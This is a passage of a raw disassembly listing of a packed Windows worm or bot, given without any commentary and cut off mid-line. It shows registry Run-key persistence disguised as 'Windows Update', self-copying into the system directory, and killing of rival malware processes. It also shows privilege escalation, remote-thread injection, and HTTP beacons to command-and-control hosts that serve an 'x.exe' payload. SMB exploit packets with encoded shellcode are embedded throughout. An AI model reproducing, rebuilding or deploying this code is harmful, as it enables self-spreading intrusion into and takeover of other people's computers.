pop ecx dec ebp pop ecx jnz short loc_316027E5 loc_316027F6: ; CODE XREF: UPX0:316027E3j ; UPX0:31602802j ... call sub_31602012 test eax, eax jz short loc_31602804 push edi call esi ; Sleep jmp short loc_316027F6 ; --------------------------------------------------------------------------- loc_31602804: ; CODE XREF: UPX0:316027FDj ; UPX0:31602810j call sub_31602012 test eax, eax jnz short loc_31602812 push edi call esi ; Sleep jmp short loc_31602804 ; --------------------------------------------------------------------------- loc_31602812: ; CODE XREF: UPX0:3160280Bj call sub_316026DE jmp short loc_316027F6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31602819 proc near ; CODE XREF: sub_316029B2+8Cp ; sub_31602B2C+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3160100C ; RegOpenKeyExA test eax, eax jnz short loc_3160284C push [ebp+arg_8] push [ebp+arg_4] call dword_31601010 ; RegDeleteValueA push [ebp+arg_4] call dword_31601014 ; RegCloseKey loc_3160284C: ; CODE XREF: sub_31602819+1Cj pop ebp retn sub_31602819 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3160284E proc near ; CODE XREF: sub_3160219E+33p ; sub_316029B2+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3160100C ; RegOpenKeyExA test eax, eax jz short loc_3160287A push 1 pop eax jmp short loc_316028A4 ; --------------------------------------------------------------------------- loc_3160287A: ; CODE XREF: sub_3160284E+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31601008 ; RegQueryValueExA test eax, eax jz short loc_31602899 push 2 pop esi loc_31602899: ; CODE XREF: sub_3160284E+46j push [ebp+arg_10] call dword_31601014 ; RegCloseKey mov eax, esi loc_316028A4: ; CODE XREF: sub_3160284E+2Aj pop esi leave retn sub_3160284E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316028A7 proc near ; CODE XREF: sub_31602A60+96p ; sub_31602B2C+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31601000 ; RegCreateKeyExA test eax, eax jz short loc_316028D0 push 1 pop eax jmp short loc_316028F7 ; --------------------------------------------------------------------------- loc_316028D0: ; CODE XREF: sub_316028A7+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31601004 ; RegSetValueExA test eax, eax jz short loc_316028EC push 2 pop esi loc_316028EC: ; CODE XREF: sub_316028A7+40j push [ebp+arg_4] call dword_31601014 ; RegCloseKey mov eax, esi loc_316028F7: ; CODE XREF: sub_316028A7+27j pop esi pop ebp retn sub_316028A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316028FA proc near ; CODE XREF: sub_316029B2+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31601084 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_316029AE loc_3160291A: ; CODE XREF: sub_316028FA+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31602923 dec esi jns short loc_3160291A loc_31602923: ; CODE XREF: sub_316028FA+24j push 0 push 2 call sub_31602CEC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_316029AE push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31602C96 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31602CE6 ; Process32First test eax, eax jz short loc_316029AE lea esi, [esi+ebx+1] loc_3160296B: ; CODE XREF: sub_316028FA+B2j lea eax, [ebp+var_104] push eax push esi call dword_31601104 ; strstr pop ecx test eax, eax pop ecx jz short loc_3160299B push [ebp+var_120] push 0 push 1F0FFFh call dword_316010B0 ; OpenProcess push 0 push eax call dword_31601060 ; TerminateProcess loc_3160299B: ; CODE XREF: sub_316028FA+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31602CE0 ; Process32Next test eax, eax jnz short loc_3160296B loc_316029AE: ; CODE XREF: sub_316028FA+1Aj ; sub_316028FA+38j ... pop esi pop ebx leave retn sub_316028FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316029B2 proc near ; CODE XREF: UPX0:31602355p var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31602A1B: ; CODE XREF: sub_316029B2+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_3160284E add esp, 14h test eax, eax jnz short loc_31602A52 push ebx push edi push esi call sub_31602819 lea eax, [ebp+var_138] push eax call sub_316028FA add esp, 10h loc_31602A52: ; CODE XREF: sub_316029B2+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31602A1B pop edi pop esi pop ebx leave retn sub_316029B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31602A60 proc near ; CODE XREF: sub_31602B2C+D1p ; sub_31602B2C+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31602A75 push [ebp+arg_0] call dword_31601074 ; DeleteFileA loc_31602A75: ; CODE XREF: sub_31602A60+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3160108C ; GetSystemDirectoryA test eax, eax jz locret_31602B2A push esi call dword_316010FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31601F4D mov esi, dword_31601088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_316041F0 push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset dword_316041F8 push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31601050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31601084 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_316028A7 add esp, 14h push dword_31604FD4 call dword_3160107C ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31601054 ; WinExec push 1F4h call dword_31601094 ; Sleep push 0 call dword_316010E0 ; ExitProcess pop esi locret_31602B2A: ; CODE XREF: sub_31602A60+23j leave retn sub_31602A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31602B2C proc near ; CODE XREF: UPX0:3160235Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31601048 ; GetModuleFileNameA test eax, eax jz loc_31602C65 and dword_31604FF0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_3160284E add esp, 14h test eax, eax jz short loc_31602BB2 call dword_316010FC ; rand push 0Ah mov ebx, offset aFgnsdrjyrsert ; "fgnsdrjyrsert" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31601F4D pop ecx pop ecx push ebx call dword_31601084 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_316028A7 add esp, 14h jmp short loc_31602BC1 ; --------------------------------------------------------------------------- loc_31602BB2: ; CODE XREF: sub_31602B2C+4Dj lea eax, [ebp+var_20] push eax push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" call dword_31601068 ; lstrcpyA loc_31602BC1: ; CODE XREF: sub_31602B2C+84j lea eax, [ebp+var_E8] push 63h push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_3160284E add esp, 14h test eax, eax jz short loc_31602C07 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_316028A7 lea eax, [ebp+var_84] push eax push 0 call sub_31602A60 add esp, 1Ch jmp short loc_31602C65 ; --------------------------------------------------------------------------- loc_31602C07: ; CODE XREF: sub_31602B2C+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3160104C ; lstrcmpiA test eax, eax jnz short loc_31602C50 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_3160284E add esp, 14h test eax, eax jnz short loc_31602C65 push ebx push edi push esi mov dword_31604FF0, 1 call sub_31602819 add esp, 0Ch jmp short loc_31602C65 ; --------------------------------------------------------------------------- loc_31602C50: ; CODE XREF: sub_31602B2C+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31602A60 pop ecx pop ecx loc_31602C65: ; CODE XREF: sub_31602B2C+1Fj ; sub_31602B2C+D9j ... pop edi pop esi pop ebx leave retn sub_31602B2C endp ; =============== S U B R O U T I N E ======================================= sub_31602C6A proc near ; CODE XREF: sub_316011A0+CAp ; sub_316015C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31601044 ; VirtualAlloc retn sub_31602C6A endp ; =============== S U B R O U T I N E ======================================= sub_31602C7E proc near ; CODE XREF: sub_316011A0+10Bp ; sub_316015C7+BDp arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31601040 ; VirtualFree retn sub_31602C7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602C90 proc near ; DATA XREF: sub_31601422+Ao ; sub_3160238C+Ao jmp dword_31601100 sub_31602C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602C96 proc near ; CODE XREF: sub_316017DB+128p ; sub_316017DB+134p ... jmp dword_316010F8 sub_31602C96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602C9C proc near ; CODE XREF: sub_316017DB+9Cp ; sub_316017DB+C5p ... jmp dword_316010F4 sub_31602C9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602CA2 proc near ; CODE XREF: sub_316017DB+93p ; sub_316017DB+B2p ... jmp dword_316010F0 sub_31602CA2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31602CB0 proc near ; CODE XREF: sub_316017DB+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31602CD0 loc_31602CBC: ; CODE XREF: sub_31602CB0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31602CBC loc_31602CD0: ; CODE XREF: sub_31602CB0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31602CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602CE0 proc near ; CODE XREF: sub_316028FA+ABp jmp dword_31601064 sub_31602CE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602CE6 proc near ; CODE XREF: sub_316028FA+64p jmp dword_3160105C sub_31602CE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31602CEC proc near ; CODE XREF: sub_316028FA+2Dp jmp dword_31601058 sub_31602CEC endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4C3h dup(0) dword_31604000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_31601422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_316015C7+84o align 10h byte_31604080 db 0 ; DATA XREF: sub_3160169C+15r off_31604081 dd offset dword_316041E4 ; DATA XREF: sub_3160169C+1Dr align 2 dd offset dword_316041D4 dw 0C401h dd 1316041h, 316041B4h, 6041A000h, 41900131h, 80013160h dd 316041h, 31604174h, 60416800h, 41580131h, 48003160h dd 1316041h, 3160413Ch, 60417400h, 41D40131h, 30003160h dd 316041h, 316041D4h, 60412001h, 41480031h, 10013160h dd 316041h, 31604130h, 60410001h, 40F80131h, 74003160h dd 316041h, 31604130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_316041D4 dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_316041E4 dd 617A616Dh, 616B6166h, 75722Ehdword_316041F0 dd 6578652Eh, 0 ; sub_31602058+55o ... dword_316041F8 dd 5Ch ; sub_31602A60+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_316011A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31601316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31601316+Co align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_31601422+34o align 10h aHttpS db 'http://%s',0 ; DATA XREF: sub_316015C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=18&cnt=%s',0 ; DATA XREF: sub_316015C7+57o align 8 byte_316042B8 db 0EBh ; DATA XREF: sub_316017DB+24Eo ; sub_316017DB+260o ... db 58h word_316042BA dw 7468h ; DATA XREF: sub_316026DE+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A1h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_31604580 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_316017DB+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_3160460C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_316046B8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31604798 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_316017DB+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_316047FC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31604868 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_3160490C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_3160498C dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31604A20 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31604A8C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_316017DB+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31604B00 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31604BBE dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31604BF8 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_316017DB+41Bo ; sub_316017DB+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31604C70: ; DATA XREF: sub_316017DB+44Ao jmp short loc_31604C78 ; --------------------------------------------------------------------------- jmp short loc_31604C7A ; --------------------------------------------------------------------------- align 8 loc_31604C78: ; CODE XREF: UPX0:loc_31604C70j ; DATA XREF: sub_316017DB+5Co pop esp pop esp loc_31604C7A: ; CODE XREF: UPX0:31604C72j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31604C84 dd 1CEC8166h dword_31604C88 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31601D42+62o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31601D42+39o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31601D42+2Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31601D42+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31601D42+8o ; sub_3160238C+11Eo align 10h aUterm18 db 'uterm18',0 ; DATA XREF: sub_31601DCA:loc_31601EAFo ; UPX0:3160232Bo ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31601DCA+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31601DCA:loc_31601E11o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31601DCA+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31601DCA+18o align 4 dword_31604D38 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31602058+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31602058+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31602058+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_31602058+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:31602316o align 4 aUser32 db 'user32',0 ; DATA XREF: sub_3160238C+125o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3160238C+117o align 4 aWininet db 'wininet',0 ; DATA XREF: sub_3160238C+110o aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3160238C+103o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_3160238C+AFo align 4 aU18 db 'u18',0 ; DATA XREF: sub_3160238C+A8o aU17 db 'u17',0 ; DATA XREF: sub_3160238C+A1o aU16 db 'u16',0 ; DATA XREF: sub_3160238C+9Ao aU15 db 'u15',0 ; DATA XREF: sub_3160238C+93o aU14 db 'u14',0 ; DATA XREF: sub_3160238C+8Co aU13i db 'u13i',0 ; DATA XREF: sub_3160238C+85o align 10h aU13 db 'u13',0 ; DATA XREF: sub_3160238C+7Eo aU12 db 'u12',0 ; DATA XREF: sub_3160238C+77o aU11 db 'u11',0 ; DATA XREF: sub_3160238C+70o aU10 db 'u10',0 ; DATA XREF: sub_3160238C+69o aU9 db 'u9',0 ; DATA XREF: sub_3160238C+62o align 4 aU8 db 'u8',0 ; DATA XREF: sub_3160238C+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_3160238C+54o align 10h aU16x db 'u16x',0 ; DATA XREF: sub_3160238C+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_3160238C+46o align 10h aU14x db 'u14x',0 ; DATA XREF: sub_3160238C+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3160238C+38o align 10h aU12x db 'u12x',0 ; DATA XREF: sub_3160238C+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3160238C+2Ao align 10h aU10x db 'u10x',0 ; DATA XREF: sub_3160238C+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_316026DE+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3160219E+23o ; sub_316029B2+5Fo ... align 4 aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_3160219E+1Co ; sub_31602A60+87o ... align 4 aFgnsdrjyrsert db 'fgnsdrjyrsert',0 ; DATA XREF: sub_316015C7+4Fo ; sub_31602B2C+57o ... align 4 dd 2 dup(0) aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31602B2C+32o aClient db 'Client',0 ; DATA XREF: sub_31602B2C+BCo ; sub_31602B2C+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31602B2C+37o ; sub_31602B2C+75o align 4 aMsConfigV13 db 